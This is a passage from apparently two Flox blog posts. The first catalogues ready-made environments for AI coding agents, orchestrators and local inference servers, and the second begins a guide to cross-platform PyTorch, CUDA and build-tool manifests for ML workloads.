Flox manifest is to copy the dependencies, variables, features, setup/teardown tasks, helper functions, or services associated with them. (Just be sure to look for deps in other parts of the manifest. For example, stuff in **`[services]`** usually depends on packages defined under **`[install]`**.) The world is, as it were, yours. ### Claw-adjacent agents The “claw” cluster is a loose family of self-hosted, open-source personal/coding-agent stacks with overlapping design goals (viz.: local-first, sandboxed, multi-channel, pluggable providers) but built in different languages with wildly different tradeoffs. If you want to test-drive several of these stacks side by side, Flox offers arguably the path of least resistance: You could even activate each environment and run them at the same time; you don’t need to worry about them stomping on one another’s runtimes or config. **[openclaw](https://github.com/openclaw/openclaw)** Self-hosted AI assistant and agent platform. OpenClaw runs a persistent local gateway that multiple frontends can connect to: a built-in TUI, single-turn CLI agent mode, or external chat channels (Telegram, Discord, WhatsApp). Uses OpenRouter as its model provider, facilitating access to a large catalog of models (Claude, GPT, Gemini, Llama, etc.) via a single API key. Features agent workspaces with session persistence, **`cron`** scheduling, plugin/skill systems, a browser automation subsystem, and sandbox containers for agent isolation. Includes a **`doctor`** command for health checks and self-repair. This Flox environment runs the gateway as a managed service (**`flox activate -s`**) that stops automatically when you exit. This means no orphaned daemons or persistent systemd units. **[hermes](https://github.com/NousResearch/hermes-agent)** Self-improving AI agent from [Nous Research](https://github.com/NousResearch) with a built-in learning loop. Hermes turns repeated work into reusable skills, improves them during use, nudges itself to save useful knowledge, and searches past conversations for recall across sessions. Runs as a persistent gateway you can talk to from a full TUI or from messaging platforms like Telegram, Discord, Slack, WhatsApp, Signal, and email. Model choice is wide open: Nous Portal, OpenRouter, NVIDIA NIM, Hugging Face, OpenAI, and other compatible endpoints, all switchable with **`hermes model`**. Hermes also supports scheduled automations, isolated subagents for parallel work, and multiple execution backends, so it can live on anything from a cheap VPS to a cloud GPU cluster. Hermes feels like a close relative of OpenClaw, but with a focus on learning from past work, building reusable behaviors, and running as a persistent agent. **[ironclaw](https://github.com/nearai/ironclaw)** Secure personal AI assistant written in Rust by NEAR AI. Built around WASM-sandboxed tool execution with capability-based permissions, credential-leak detection, and HTTP allowlisting. Persistent memory runs on PostgreSQL + pgvector if you **`flox activate -s`**, enabling hybrid full-text and vector search (Reciprocal Rank Fusion); runs on an embedded libSQL database if you run without services (e.g., **`flox activate`**). Multi-provider (NEAR AI, Anthropic, OpenAI, Gemini, Copilot, Ollama, Mistral, OpenRouter, and more) and multi-channel (REPL, HTTP webhooks, Web Gateway, Telegram, Slack) via WASM channels. A routines engine handles cron schedules, event triggers, webhook handlers, and heartbeat loops; a dynamic-tools feature can build new WASM tools from natural-language descriptions. **Note**: This Flox environment auto-detects Postgres-mode vs libSQL-mode based on whether you run **`flox activate -s`**. **[nullclaw](https://github.com/nullclaw/nullclaw)** The minimalist end of the claw family. NullClaw is an ultra-minimal autonomous assistant written in Zig that ships as a single static binary (~678 KB) with zero runtime dependencies, boots in under 2 ms, uses ~1 MB peak RAM, and runs anywhere from $5 ARM boards to cloud servers. Despite the footprint, it supports 50+ AI providers, 19 messaging channels (CLI, Telegram, Signal, Discord, Slack, iMessage, Matrix, WhatsApp, IRC, Email, and more), 10 memory engines (SQLite with hybrid FTS5 + vector by default, plus Postgres, Redis, ClickHouse, LanceDB, Markdown, etc.), and 35+ built-in tools (shell, file I/O, browser, web search, MCP, subagents, voice). Optional HTTP gateway uses a 6-digit pairing code for API access. **[claw-code](https://github.com/instructkr/claw-code)** Lightweight Rust terminal coding agent that talks to Anthropic’s API. Fast single binary, no runtime dependencies, tool execution (shell, file ops, code editing), and session persistence. Think of it as a pared-down alternative to the official Claude Code CLI: no multi-provider routing, no MCP, just a tight loop for interactive development with Claude. Set **`ANTHROPIC_API_KEY`** and run **`claw`**; use **`claw doctor`** for health checks. **[claurst](https://github.com/Kuberwastaken/claurst)** Clean-room Rust reimplementation of Claude Code’s CLI. Where claw-code is Anthropic-only and minimal, claurst goes multi-provider (Anthropic, OpenAI, Google, GitHub Copilot, Ollama, DeepSeek, Groq, Mistral, and 30+ more via an in-app **`/connect`** wizard) and adds features the upstream doesn’t have: a rich TUI with **chat forking / conversation branching**, two-tier memory consolidation (short-term session history + long-term markdown files), sub-100 ms startup, ~50 MB peak memory, and zero telemetry. If you want the Claude Code workflow but without the vendor lock-in—or the phone-home—this is the one. ### Terminal coding agents **[claude-code](https://github.com/anthropics/claude-code)** Anthropic's official Claude Code CLI bundled with Flox MCP server. Automatically registers the Flox MCP server with Claude Code on activation, enabling Claude to manage Flox environments and packages directly. Creates a turnkey Claude Code development environment with built-in Flox integration. Defines optional GitHub and GitLab MCP servers, too; run **flox edit** and uncomment these to use. **Note**: This environment should pick up new versions of Claude Code as they become available; just run **`flox upgrade`** within the repo directory to force an upgrade. **[codex](https://github.com/openai/codex)** OpenAI's local AI coding agent with ChatGPT account integration and approval-based command execution. (Supports a YOLO mode to bypass approval requirements: **`codex --sandbox danger-full-access`**). This environment includes a pre-integrated Flox MCP server. **[code](https://github.com/just-every/code/)** Officially known as “Every Code,” nicknamed “Code” by its maintainers. (The better to defy **`grep`**, **`find`**, and Internet search indexers?) Fork of OpenAI’s Codex (see above) that expects to track/stay compatible with that project. Extends Codex with browser/[Chrome DevTools Protocol (CDP)](https://developer.chrome.com/docs/devtools) integration, plus support for third-party agents and MCP servers. Recent versions add a verification-first loop: automatically re-reviewing code changes in parallel (in a separate worktree) and streaming runtime signals from the app/browser back into the agent. **Defaults to local Ollama in this Flox environment**—no API costs, no keys, just **`flox activate -s`** to start the Ollama service and **`ollama pull`** a coding model. To run against the OpenAI API instead, set **`OPENAI_BASE_URL=https://api.openai.com/v1`** and **`OPENAI_API_KEY`** before activating. Each project gets its own isolated **`code`** config under **`$FLOX_ENV_CACHE`**. **[crush](https://github.com/charmbracelet/crush)** Charm's glamorous, stylish, and surprisingly powerful AI coding agent front-end. (**Full disclosure**: We here at Flox are fans.) Ships with a self-bootstrapping wizard that encrypts/stores secrets using system keyring (if available). Supports multiple providers—including Ollama! Pre-integrated with the Flox MCP server. Arguably the most versatile agentic coding assistant out there. **[gemini-cli](https://github.com/google-gemini/gemini-cli)** Google's Gemini AI agent for terminal with authentication (OAuth, API key, or Vertex AI) and MCP server integration with Flox. Features JSON output for scripting automation and includes VS Code extension for editor integration. Includes Google Cloud integration and JSON output format for scripting. **[OpenCode](https://github.com/sst/opencode)** Open-source AI coding agent built for the terminal. Its TUI lets you switch between “build” (for interactive development) and “plan” (for analysis + code exploration) agents. In “plan” mode, OpenCode defaults to read-only behavior, asks before running shell commands, and is geared toward planning changes. You can point OpenCode at Anthropic’s Claude, OpenAI’s GPT models, or Google Gemini, along with local providers (like Ollama). Uses a client/server architecture so the TUI is just one possible client. (You can run the agent on one machine and drive it from another client). OpenCode offers an optional (beta) desktop app, plus an internal “@general” subagent that can perform complex searches + multi-step tasks. **[aider](https://github.com/aider-ai/aider)** Aider is a terminal pair programmer whose distinguishing move is tight git integration: every change lands as an automatic commit with a descriptive message, so undoing a bad suggestion is just **`git reset`**. Supports 100+ languages and multiple providers (Anthropic, OpenAI, DeepSeek, Gemini, Ollama, OpenRouter). This Flox environment installs **`aider-chat-full`**, which includes the voice and browser-UI extras: pass **`--browser`** for a Streamlit web interface, or just run **`aider`** for the default terminal chat. Point it at a local model (**`aider --model ollama_chat/gemma4`**) and you get a pair programmer that never leaves your machine. **[open-interpreter](https://github.com/OpenInterpreter/open-interpreter)** Natural-language interface for running code locally—an unrestricted alternative to ChatGPT’s Code Interpreter. Drops you into a REPL (**`interpreter`** or **`i`**) where the model can execute Python, JavaScript, or shell commands on your machine with no file-size or runtime limits. Multi-provider via LiteLLM: OpenAI, Anthropic, Cohere, Ollama, LM Studio, Llamafile, or any OpenAI-compatible endpoint. Use **`--local`** for fully offline operation with Llamafile; **`-y`** to skip per-command confirmation; YAML profiles for per-project settings. Where coding agents like Claude Code or Codex focus on editing source files, Open Interpreter focuses on _running_ things—data exploration, scripting, ad-hoc automation. ### Multi-agent orchestration & parallel workflows The next cluster is all about running multiple agents at once—either coordinating specialized sub-agents inside a single task, or fanning out several independent agents across isolated workspaces so you can review their work as it lands. **[ruflo](https://github.com/ruvnet/ruflo)** Multi-agent orchestration platform that sits on top of Claude Code. (Formerly known as Claude Flow.) Ruflo coordinates 100+ specialized role-based agents—coder, tester, reviewer, architect, security, etc.—across mesh, hierarchical, ring, or star topologies with Raft, BFT, or Gossip consensus. Adds a self-learning layer (RuVector / SONA) with reinforcement learning, Flash Attention, HNSW vector search, and pattern storage; a Q-Learning router with 8 experts and 130+ skills dispatches tasks by complexity. Exposes 310+ MCP tools to Claude Code natively. Ruflo installs via npm on first activation of this Flox environment. **[mux](https://github.com/coder/mux)** Parallel agentic development from Coder. Mux lets you plan and execute tasks with multiple agents simultaneously, each in its own **isolated workspace**: git worktree, Docker container, SSH remote, or local directory. Multi-provider (Anthropic, OpenAI, Google, xAI, DeepSeek, OpenRouter, Ollama, AWS Bedrock, GitHub Copilot) with a plan/exec loop and built-in orchestrator sub-agents (**`exec`**, **`explore`**, **`plan`**). Use the one-shot CLI (**`mux run "Refactor the auth module"`**), the browser UI (start the Flox service and hit **`localhost:3000`**), or the desktop app. Good for the "fan out N tasks, review diffs as they land" workflow. **[claude-squad](https://github.com/smtg-ai/claude-squad)** TUI for managing multiple terminal agents in parallel—complementary to Mux but leaner and model-agnostic. Each agent runs in its own tmux session and git worktree so tasks can’t conflict. Ships with profiles for Claude Code (default), OpenAI Codex, Gemini CLI, Aider, or any custom command you define in **`~/.claude-squad/config.json`**. Background execution with optional **`-y`** auto-accept, in-TUI diff review, commit/push/PR—so you can watch five agents churn through tickets from one terminal and approve their work as it’s ready. **[codex-monitor](https://github.com/Dimillian/CodexMonitor)** Tauri desktop app that orchestrates multiple OpenAI Codex agents across persistent workspaces. Each workspace spawns its own **`codex app-server`** process; threads are pinnable, renameable, archivable, and resumable. Tight Git/GitHub integration (diffs, staging, commits, branches, PRs, issues via the **`gh`** CLI); a composer with image attachments, skill autocomplete (**`$`**), prompt libraries (**`/prompts:`**), and **`@`**-mention file paths. Whisper-based dictation, a file tree with search, global + per-workspace prompt libraries, a terminal dock with tabs, and an optional remote-daemon mode over Tailscale. Where Claude Squad is terminal and model-agnostic, Codex Monitor is GUI and Codex-specific. ### Agentic IDEs Both of these are full desktop IDEs rather than TUIs, and both orchestrate multiple agents—but their philosophies are very different. Antigravity is Google’s agent-first VS Code fork built around a Mission Control dashboard; Kiro is a spec-first IDE that formalizes planning, constraints, and automation via first-class workflow primitives. **[antigravity](https://antigravity.google/)** Google’s agent-first IDE: a deep fork of VS Code that integrates Gemini (and Claude) for autonomous multi-agent coding. Three surfaces: a familiar **Editor** with inline AI commands (**`Cmd/Ctrl+I`**) and tab completions; a **Manager** (“Mission Control”) view for spawning and monitoring parallel autonomous agents across workspaces; and an integrated **Browser** for agent-driven web testing. Multi-model: Gemini 3.1 Pro, Gemini 3 Flash, Claude Sonnet 4.6, and Claude Opus 4.6. Agents produce artifacts—code diffs, screenshots, browser recordings, implementation plans—that you review asynchronously. Per-project **`agents.md`** and **`skills.md`** files provide persistent instructions and reusable skills (à la **`CLAUDE.md`**). Gemini is free on activation; sign in with a Google account. **[kiro](https://kiro.dev/)** Kiro is a spec-first desktop IDE (also VS Code-based) that embeds a coding agent. Instead of a chat-driven UX, Kiro incorporates first-class workflow primitives—**specs**, **steering files**, and **hooks**—to formalize how work gets planned, constrained, and automated. It turns prompts into specs, extracting requirements and producing an implementation plan; markdown steering files apply persistent guidance across tasks; hooks fire on file events to automate quality gates. Kiro codebase-indexes your workspace by scanning + tracking code, configs, docs, and dependencies. The IDE runs locally, but AWS operates the backend and powers inference via Amazon Bedrock. ### Local inference for agents **[agentic-ollama](https://github.com/ollama/ollama)** Ollama paired with a curated set of CLI coding agents, pre-wired for **`ollama launch`**. Pull a tool-use-capable model (**`ollama pull gemma4`**, **`qwen3`**, **`devstral`**, **`llama4`**, …), start the service with **`flox activate -s`**, and launch any bundled agent against it in one command: **`ollama launch claude --model gemma4`**, **`ollama launch codex --model gemma4`**, **`ollama launch opencode --model gemma4`**, **`ollama launch openclaw --model gemma4`**. Includes the Flox MCP server. GPU accelerated on supported platforms (Nvidia CUDA, Apple Metal/MPS), with CPU fallback; edit the manifest to swap **`ollama-cuda`** for **`ollama-rocm`** on AMD. The one-command path from “downloaded a model” to “running a coding agent against it locally.” **[lm-studio](https://lmstudio.ai/)** Headless-by-default local inference server with a desktop GUI when you want one. Runs llama.cpp everywhere and MLX on Apple Silicon. Exposes both an **OpenAI-compatible** API (**`/v1/chat/completions`**) and an **Anthropic-compatible** API (**`/v1/messages`**) on **`localhost:1234`**—drop-in for either SDK. Supports tool calling, JSON-schema structured output, MCP servers, and configurable parallel inference slots (default 4). The headless daemon starts automatically via **`flox activate -s`**; opt into the GUI with **`LMS_GUI=true`**. Designed to be composed into other Flox environments: when you want a local backend that speaks Anthropic’s protocol, not just OpenAI’s, this is the one. The next four are production-grade inference engines. They’re almost certainly overkill for a single developer vibe-coding against a local model—Ollama or LM Studio will serve you better day-to-day—but they’re cool to have on hand when you need serious throughput, multi-GPU deployments, or want to experiment with the runtimes that actually power production LLM serving. **All four are `x86_64-linux` only and require an NVIDIA GPU with a recent CUDA driver.** **[vllm](https://github.com/vllm-project/vllm)** Production inference and serving engine, optimized for high throughput and low latency via PagedAttention KV-cache management and continuous batching. This Flox environment installs **`flox-cuda/python3Packages.vllm`** from the catalog along with **`flox/vllm-flox-runtime`** (model provisioning + serving scripts). Exposes an OpenAI-compatible API on **`localhost:8000`**. Override the model at activation with **`VLLM_MODEL`** and **`VLLM_MODEL_ORG`** env vars. Supports streaming, prefix caching, Multi-LoRA, distributed inference (tensor/pipeline/data/expert parallelism), and INT4/INT8/FP8 quantization. Handles MoE, embeddings, and multimodal models from Hugging Face. **[llamacpp](https://github.com/ggerganov/llama.cpp)** **`llama-server`** wrapped as a production Flox environment. Where vLLM serves full HuggingFace model directories, llama.cpp serves **GGUF files**—single files or split shard sets—so quantized models run out of the box with no torch dependency and the entire runtime is a single compiled binary. Uses **`flox-cuda/llama-cpp`** (CUDA 12.9, driver 575+). Defaults to **`bartowski/Meta-Llama-3.1-8B-Instruct-GGUF`** (Q4_K_M, ~4.9 GB) on **`localhost:8080`** with GPU offload and continuous batching. Override the model at activation with **`LLAMACPP_MODEL`**, **`LLAMACPP_MODEL_ORG`**, **`LLAMACPP_MODEL_ID`**, and **`LLAMACPP_QUANT`**. OpenAI-compatible API. **[sglang](https://github.com/sgl-project/sglang)** High-performance serving framework focused on structured generation, constrained decoding, and complex multi-call LLM programs. CUDA 12.8 (driver 550+), AVX2 required. The default manifest targets an **all-SM** build covering T4, A10, A100, L40, H100, B200, and RTX 3090/4090/5090 (SM75–SM120); swap in a GPU-family-specific package (e.g., **`flox/sglang-python312-cuda12_8-sm89-avx2`** for Ada Lovelace) if you want a tighter build. Defaults to **Phi-4-mini-instruct-FP8-TORCHAO** on **`localhost:30000`**; override with **`SGLANG_MODEL`** at activation. Supports tensor parallelism across multiple GPUs (**`SGLANG_TP_SIZE=4`**) for 70B-class models and attention-backend tuning for older GPUs (**`SGLANG_ATTENTION_BACKEND=triton`**). **[nvidia-triton](https://github.com/triton-inference-server/server)** NVIDIA’s Triton Inference Server, built from source via Nix and shipped with four backends: **Python**, **ONNX Runtime**, **vLLM**, and **TensorRT**. Triton serves model _repositories_—directories containing versioned subdirectories with backend-specific artifacts and optional **`config.pbtxt`** files—and exposes HTTP, gRPC, and Prometheus metrics simultaneously on separate ports. This runtime handles the operational lifecycle: port reclaim, model provisioning, environment validation, and process management. Defaults to **Phi-3.5-mini-instruct-AWQ** via the vLLM backend with zero network access (the model is installed as a Flox package, ~2.2 GB). Opt into an OpenAI-compatible frontend on port 9000 with **`TRITON_OPENAI_FRONTEND=true`**. This is the one you reach for when you need to serve many models concurrently across mixed backends with production-grade observability. ### Spec tools OpenSpec and GitHub’s spec-kit both push the same idea: make AI-assisted coding more predictable by turning requirements into versioned, reviewable artifacts you can diff, test against, and hold the implementation accountable to. Align on intent _before_ any code is generated; keep an auditable trail from spec → tasks → changes. **[openspec](https://github.com/Fission-AI/OpenSpec)** A spec workflow you add to your existing repos so you + your AI coding assistant can align on intended behavior. Run **`openspec init`** to create an **`openspec/`** sub-folder structure: **`openspec/specs/`** stores the current source-of-truth specs; **`openspec/changes/`** the per-feature change folders that bundle a proposal. This path also stores a task checklist and spec deltas (i.e., the “patch” to the specs). Some assistants surface OpenSpec’s steps as **`/openspec `** slash commands after running **`openspec init`**, because OpenSpec writes the **`instruction/config`** files they read at startup. But these commands are mere shortcuts: the “real” workflow lives in the repo as an **`openspec/`** folder. With tools that don’t support custom slash commands, you run the same spec-first loop by posing requests in plain language and having the assistant create/review/apply/archive OpenSpec files. **[spec-kit](https://github.com/github/spec-kit)** (GitHub Spec Kit) GitHub’s open-source toolkit for “spec-driven development.” Pushes you to define requirements + outcomes first, then turns your spec into: plan → task list → code. Run the **`specify`** CLI (**`specify init`**, **`specify check`**) to scaffold or retrofit projects. Spec Kit drops a small set of files into your repo and configures your preferred agent so that when you type **`/speckit.`**, the agent runs Spec Kit’s scripts and uses the generated artifacts. Supports a broad range of tools out of the box: Claude Code, OpenAI Codex CLI, Gemini CLI, Cursor, Copilot, Kilo Code, OpenCode, and Qwen Code. ## >190,000 Other Packages, Millions of Historical Versions The Flox Catalog contains just about every dependency you (or your AI agent minions) will need to build, test, and ship software. The Flox environments collected in this repo offer ready-to-run implementations showcasing _some_ of these packages; however, what you see here isn’t close to exhausting the possibilities of what’s available. Here’s a sampling of the MCP packages available in the Flox Catalog: - **[github-mcp-server](https://hub.flox.dev/packages/base/github-mcp-server)**. Exposes GitHub repo/issue/PR operations via the GitHub API. - **[gitea-mcp-server](https://hub.flox.dev/packages/base/gitea-mcp-server)**. Exposes Gitea repo/issue/PR operations via the Gitea API. - **[terraform-mcp-server](https://hub.flox.dev/packages/base/terraform-mcp-server)**. Lets agent inspect/plan/apply Terraform workflows. - **[mcp-k8s-go](https://hub.flox.dev/packages/base/mcp-k8s-go)**. Go-based MCP tool server that exposes Kubernetes cluster operations (via **`kubectl`**-style reads/actions) as callable tools. - **[aks-mcp-server](https://hub.flox.dev/packages/base/aks-mcp-server)**. MCP server for Microsoft’s Azure Kubernetes Service (AKS); supports cluster/resource management + other operations; surfaced as MCP tools. - **[playwright-mcp](https://hub.flox.dev/packages/base/playwright-mcp)**. Exposes Playwright browser automations (navigate/click/extract/screenshot) as MCP tools. - **[mcp-grafana](https://hub.flox.dev/packages/base/mcp-grafana)**. Exposes Grafana entities (dashboards/panels/alerts/queries) as tools. - **[mcp-proxy](https://hub.flox.dev/packages/base/mcp-proxy)**. Forwards/bridges MCP connections so clients can reach tool servers through a single hop. - **[pythonXXXPackages.mcp](https://hub.flox.dev/packages/search?q=python313Packages.mcp)** (where **`XXX`** is the version). Python MCP library/SDK used to build MCP clients/servers and define tool schemas in Python. Packages available for Python versions 3.10-3.13. - **[toolhive](https://hub.flox.dev/packages/base/toolhive)**. Installs/runs/manages MCP servers as “tool bundles” so agents can consume them. ## But Wait: There's More How about another serving of turn-key environments to build with as you ramp up your vibecoding vacation? If you or your AI agent minion need a database, scheduler, workflow management engine, httpd/reverse proxy, or other tools, services, or runtimes, check out the following repos: - **[flox/floxenvs](https://github.com/flox/floxenvs/)**. A collection of ready-to-run Flox environment examples (via flake.nix) for language toolchains like Go, Python (pip/poetry/uv), JavaScript (node/bun/deno), Ruby, and Rust, plus local service stacks like Postgres, Redis, MySQL, MongoDB, Cassandra, and Elasticsearch. This repo also includes environment templates for tools/apps such as nginx, mkcert, direnv/dotenv, 1Password, Dagger, Podman/Colima, LocalStack, JupyterLab, and Ollama. - **[floxrox/floxenvs](https://github.com/floxrox/floxenvs)**. Another collection of ready-to-run Flox environments, including: Airflow, AWS CLI, Colima, ComfyUI, Dagster, GitHub CLI, Jenkins, JupyterLab, Kafka (plus Karapace, a schema registry), kind, MariaDB/MySQL, n8n, Neo4j, nginx, Node-RED, Ollama (plus Open WebUI), Postgres (including a Metabase combo), Prefect, Redis, Spark, Temporal (plus a temporal-ui env), and multiple Python dev environments (3.10–3.13). You and your AI assistants can combine these environments in two complementary ways: - **Composition**. Compose multiple modular environments into a single, declarative “stack” that resolves and locks everything up front. Composition is great when you need reproducible, shareable setups; - **Layering**. Layer environments one on top of another at runtime. Useful for adding tools/services when you need them in the moment: e.g., layering Python debugging tools on top of core Python dev tools. In practice [you’ll often use both](https://flox.dev/blog/layering-and-composing-flox-environments/): using composition to create rich “stack” environments; layering extras on top when you need them. What else? How about Flox-and-AI guides to get you started? - [Reproducible Dev Environments in Any Repo with AI Agents and Flox: Part 1](https://flox.dev/blog/reproducible-development-environment-in-any-repo-part-1/) - [Reproducible Dev Environments in Any Repo with AI Agents and Flox: Part 2](https://flox.dev/blog/reproducible-development-environment-in-any-repo-part-2/) - [Next-Level Agentic Coding with Nix and Flox](https://flox.dev/blog/next-level-agentic-development-with-flox/) - [Reproducible Builds Made Simple with Nix and Flox](https://flox.dev/blog/reproducible-builds-made-simple-with-nix-and-flox/) - [Composable Dev Environments: Layering and Composition in Flox](https://flox.dev/blog/layering-and-composing-flox-environments/) - [Production Model Serving Using NVIDIA Triton, vLLM, and llama.cpp with Flox](https://flox.dev/blog/production-model-serving-using-nvidia-triton-vllm-llamacpp-with-flox/) **Ready to try? [Sign in to FloxHub!](https://hub.flox.dev/login)** Title: Reproducible Flox Environments for the First and the Last Mile of AI Source: https://flox.dev/blog/reproducible-flox-environments-for-the-first-and-the-last-mile-of-ai/ Date: 2026-04-06 Category: guide # Reproducible Flox Environments for the First and the Last Mile of AI Use Flox to create declarative, composable ML/AI stacks that travel from Slurm training clusters to Kubernetes production—without rebuilding images or debugging runtime drift. You can use Flox to run CUDA-accelerated ML/AI workloads "[uncontained](https://flox.dev/blog/kubernetes-uncontained-explained-unlocking-faster-more-reproducible-deployments-on-k8s/)" on Kubernetes. This imageless pattern eliminates costly rebuild → push → pull → debug cycles and gives you a fast, reliable way to deploy or roll back reproducible workloads on Kubernetes. ML/AI teams can _also_ run CUDA-accelerated Flox runtime environments on [Slurm](https://github.com/SchedMD/slurm) clusters during model training. Even better, the same CUDA-accelerated Flox runtime can serve as a shared, reproducible foundation across every stage of the ML lifecycle—from Slurm GPU clusters in R&D on through to Kubernetes GPU clusters in eval and production. That same composable pattern extends to the rest of the stack, letting teams layer modular environments for CUDA tooling, build dependencies, project-specific training code, evaluation workflows, and serving on top of one pinned runtime foundation: - Teams define their GPU-accelerated ML/AI stacks: PyTorch, JaX, TensorRT, ONNX Runtime, etc.; - ML/AI researchers define project-specific environments on top of the appropriate ML/AI runtime stack; - The same Flox-defined ML/AI stack runs during prototyping on MacBooks, experimentation on NVIDIA DGX, and model training on Slurm. Each platform gets its own optimized GPU-accelerated dependencies; - MLOps teams use these as the baseline when evaluating + packaging checkpoints for production; and - Platform teams use the same runtime to power workloads across both Kubernetes and Slurm. This way a single pinned, GPU-accelerated Flox environment definition travels from training → evaluation → production _without_ accumulating stage-specific runtime drift. This pattern drastically reduces debugging cycles and gives teams a safe, reliable way to promote new releases or roll back to known-good ones. ## A Declarative PyTorch Runtime That Works Everywhere The genius of Flox is that it makes it straightforward to create declarative environment definitions that run and work the same way everywhere: not just across operating system (OS) platforms, but also across CPU (x86 and ARM) and GPU (NVIDIA CUDA and Apple Metal/MPS) architectures. So, for example, the same Flox Pytorch environment can be used as the runtime foundation for ML/AI workloads across Mac and MacBook Pro laptops, CUDA-accelerated x86 desktops, ARM-based NVIDIA DGX Spark systems, and Slurm or Kubernetes clusters running on both x86 and ARM hardware. A sample cross-platform, cross-architecture PyTorch environment definition looks like this: ```toml [install] # core python environment python.pkg-path = "python3" python.version = "3.13.12" python.pkg-group = "runtime" python.priority = 5 python.outputs = "all" # platform- / arch-specific pytorch torch.pkg-path = "flox-cuda/python3Packages.torch" torch.pkg-group = "torch" torch.version = "python3.13-torch-2.10.0" torch.systems = ["x86_64-linux", "aarch64-linux"] mps-torch.pkg-path = "python313Packages.torch" mps-torch.version = "python313Packages.2.10.0" mps-torch.systems = ["x86_64-darwin", "aarch64-darwin"] mps-torch.priority = 6 mps-torch.pkg-group = "torch" mps-torch.outputs = "all" ``` This is all you need to define a declarative, cross-platform, cross-architecture PyTorch runtime. It isn't necessary to build and maintain separate OCI images for x86 and aarch64 Linux, just as it isn't necessary to virtualize this runtime on MacOS: Linux gets CUDA-accelerated and MacOS gets MPS-accelerated PyTorch. Best of all, changing a version—bumping to PyTorch v2.11.0 or rolling back to v2.9.1—is as simple as changing the pinned version for each platform. There's no rebuild → push → pull → test cycle whatsoever. ## Just the Right CUDA Dependencies The PyTorch environment above gives whomever or whatever runs it a GPU-accelerated PyTorch v2.10.0 runtime— _whenever_ or _wherever_ they run it. Teams can [compose](https://flox.dev/docs/concepts/composition/) or [layer](https://flox.dev/docs/tutorials/layering-multiple-environments/?h=layer) this runtime with other project- or purpose-specific Flox environments to create fully declarative ML/AI stacks. [Composition](https://flox.dev/blog/layering-and-composing-flox-environments/) is analogous to container orchestration, with the key difference that it doesn't involve using either OCI images or a container runtime. Composed Flox environments run in isolated subshells on host systems. As patterns, composition is arguably more useful than container orchestration. Container layers are reusable, but combining them means (in most cases) building, tagging, pushing, and debugging OCI images. Composition, by contrast, gives teams a _declarative_ way to assemble modular multi-environment stacks. To take one example, ML/AI researchers prototyping on Mac systems have no use for NVIDIA's CUDA Toolkit or other CUDA-accelerated dependencies. But once they move beyond prototyping and need to schedule and run massively parallel jobs, they're probably going to do this work on CUDA-based hardware. The PyTorch runtime above can be composed with the environment below to provide essential CUDA dependencies for GPU-native prototyping, experimentation, and training on CUDA-accelerated infrastructure: ```toml [install] cuda_nvcc.pkg-path = "flox-cuda/cudaPackages.cuda_nvcc" cuda_nvcc.pkg-group = "cuda" cuda_nvcc.systems = ["aarch64-linux", "x86_64-linux"] cuda_nvcc.priority = 1 # CUDA runtime API cuda_cudart.pkg-path = "flox-cuda/cudaPackages.cuda_cudart" cuda_cudart.pkg-group = "cuda" cuda_cudart.systems = ["aarch64-linux", "x86_64-linux"] cuda_cudart.priority = 2 # CUDA toolkit (core libs only) cudatoolkit.pkg-path = "flox-cuda/cudaPackages.cudatoolkit" cudatoolkit.pkg-group = "cuda" cudatoolkit.systems = ["aarch64-linux", "x86_64-linux"] cudatoolkit.priority = 3 # CUDA Basic Linear Algebra Subroutines libcublas.pkg-path = "flox-cuda/cudaPackages.libcublas" libcublas.pkg-group = "cuda" libcublas.systems = ["aarch64-linux", "x86_64-linux"] libcublas.priority = 4 # GPU-accelerated deep neural network primitives cudnn.pkg-path = "flox-cuda/cudaPackages.cudnn" cudnn.pkg-group = "cudnn" cudnn.systems = ["aarch64-linux", "x86_64-linux"] cudnn.priority = 5 # Profiling API cuda_cupti.pkg-path = "flox-cuda/cudaPackages.cuda_cupti" cuda_cupti.pkg-group = "cuda" cuda_cupti.systems = ["aarch64-linux", "x86_64-linux"] cuda_cupti.priority = 6 # GPU debugger cuda_gdb.pkg-path = "flox-cuda/cudaPackages.cuda_gdb" cuda_gdb.pkg-group = "cuda" cuda_gdb.systems = ["aarch64-linux", "x86_64-linux"] cuda_gdb.priority = 7 # Memory/race sanitizer cuda_sanitizer_api.pkg-path = "flox-cuda/cudaPackages.cuda_sanitizer_api" cuda_sanitizer_api.pkg-group = "cuda" cuda_sanitizer_api.systems = ["aarch64-linux", "x86_64-linux"] cuda_sanitizer_api.priority = 8 # Multi-GPU/multi-node communication nccl.pkg-path = "flox-cuda/cudaPackages.nccl" nccl.pkg-group = "cuda" nccl.systems = ["aarch64-linux", "x86_64-linux"] nccl.priority = 9 # High-performance tensor primitives cutensor.pkg-path = "flox-cuda/cudaPackages.cutensor" cutensor.pkg-group = "cutensor" cutensor.systems = ["aarch64-linux", "x86_64-linux"] cutensor.priority = 10 [vars] CUDA_ENV_VERSION = "12.9" ``` This environment can be used on its own as a general-purpose toolkit for CUDA development or composed along with other environments (like the PyTorch runtime) to flesh out a GPU-accelerated ML/AI development stack. Rather than pulling in the complete CUDA Toolkit (>8 GB) as a single monolithic dependency, it assembles a curated subset of core CUDA packages in classic Nix style. This way the resultant footprint is much smaller: Researchers on CUDA-enabled hardware get access to CUDA-specific dev tools; Mac users don't. The next section looks at another modular component of this stack: a cross-platform environment for dev tooling. ## A Cross-Platform Build Toolchain for R&D and MLOps Teams in both R&D and MLOps will likely need to work with essential build tools like **`gcc`**, **`clang`**, **`gnumake`**, **`cmake`**, and similar dependencies. Precisely _which_ tools they need depends on precisely which OS and hardware they're working with. The environment below provides OS-specific versions of essential deve tools: Linux platforms get **`gcc`**, Macs get **`clang`**. ```toml [install] bash.pkg-path = "bash" coreutils.pkg-path = "coreutils" gnumake.pkg-path = "gnumake" cmake.pkg-path = "cmake" pkg-config.pkg-path = "pkg-config" # linux: gcc toolchain + system libraries gcc.pkg-path = "gcc" gcc.systems = ["aarch64-linux", "x86_64-linux"] gcc-unwrapped.pkg-path = "gcc-unwrapped" # required for libstdc++ ; it's a Nix thing gcc-unwrapped.priority = 3 gcc-unwrapped.pkg-group = "libraries" gcc-unwrapped.systems = ["aarch64-linux", "x86_64-linux"] glibc.pkg-path = "glibc" glibc.version = "2.38-44" glibc.pkg-group = "glibc" glibc.systems = ["aarch64-linux", "x86_64-linux"] # macos: clang toolchain + gnu userland clang.pkg-path = "clang" clang.systems = ["x86_64-darwin", "aarch64-darwin"] gnused.pkg-path = "gnused" gnused.systems = ["x86_64-darwin", "aarch64-darwin"] gawk.pkg-path = "gawk" gawk.systems = ["x86_64-darwin", "aarch64-darwin"] ``` This environment can either be invoked on-demand (i.e., layered) or composed as part of a stack. In this 